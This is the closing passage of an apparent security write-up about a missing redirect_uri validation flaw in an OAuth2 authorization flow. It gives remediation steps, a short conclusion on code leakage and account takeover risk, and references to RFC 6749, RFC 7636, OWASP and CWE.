<li id="fe58" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Bind PKCE (Proof Key for Code Exchange) code challenge to redirect_uri</strong> at authorization-code issuance time.</li>
<li id="e469" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Implement exact-match validation</strong> as required by RFC 6749 Section 3.1.2.</li>
<li id="91b5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Add monitoring & alerts</strong> for suspicious OAuth authorization requests.</li>
<li id="f8d4" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Review all OAuth clients</strong> for misconfigured or overly permissive redirect URIs.</li>
<li id="5d71" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Adopt OAuth 2.1 best practices</strong>, including mandatory PKCE for all clients.</li>
</ul>
<h3 id="257a" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Conclusion:</strong></h3>
<p id="b2ef" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">This vulnerability stemmed from the absence of strict validation on the <code class="cx agi agj agk agl b">redirect_uri</code> parameter in the OAuth2 authorization flow. As a result, an attacker could redirect authorization codes to an external domain, leading to code leakage and potential full account takeover. This issue breaks a core OAuth security assumption and represents a critical misconfiguration in the authentication process.</p>
<h3 id="1835" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">References:</strong></h3>
<ul class="">
<li id="ed92" class="adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ahd agw agx cc" data-selectable-paragraph="">RFC 6749 — The OAuth 2.0 Authorization Framework (Section 3.1.2: Redirect URI validation)<a class="as kf" href="https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2" target="_blank" rel="noopener ugc nofollow">https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2</a></li>
<li id="a0ba" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">RFC 7636 — Proof Key for Code Exchange (PKCE)<a class="as kf" href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener ugc nofollow">https://datatracker.ietf.org/doc/html/rfc7636</a></li>
<li id="723b" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">OWASP OAuth 2.0 Security Cheat Sheet<a class="as kf" href="https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html" target="_blank" rel="noopener ugc nofollow">https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html</a></li>
<li id="155c" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">CWE-601: URL Redirection to Untrusted Site <a class="as kf" href="https://cwe.mitre.org/data/definitions/601.html" target="_blank" rel="noopener ugc nofollow">https://cwe.mitre.org/data/definitions/601.html</a></li>
<li id="b176" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">CWE-200: Exposure of Sensitive Information<a class="as kf" href="https://cwe.mitre.org/data/definitions/200.html" target="_blank" rel="noopener ugc nofollow">https://cwe.mitre.org/data/definitions/200.html</a></li>
</ul>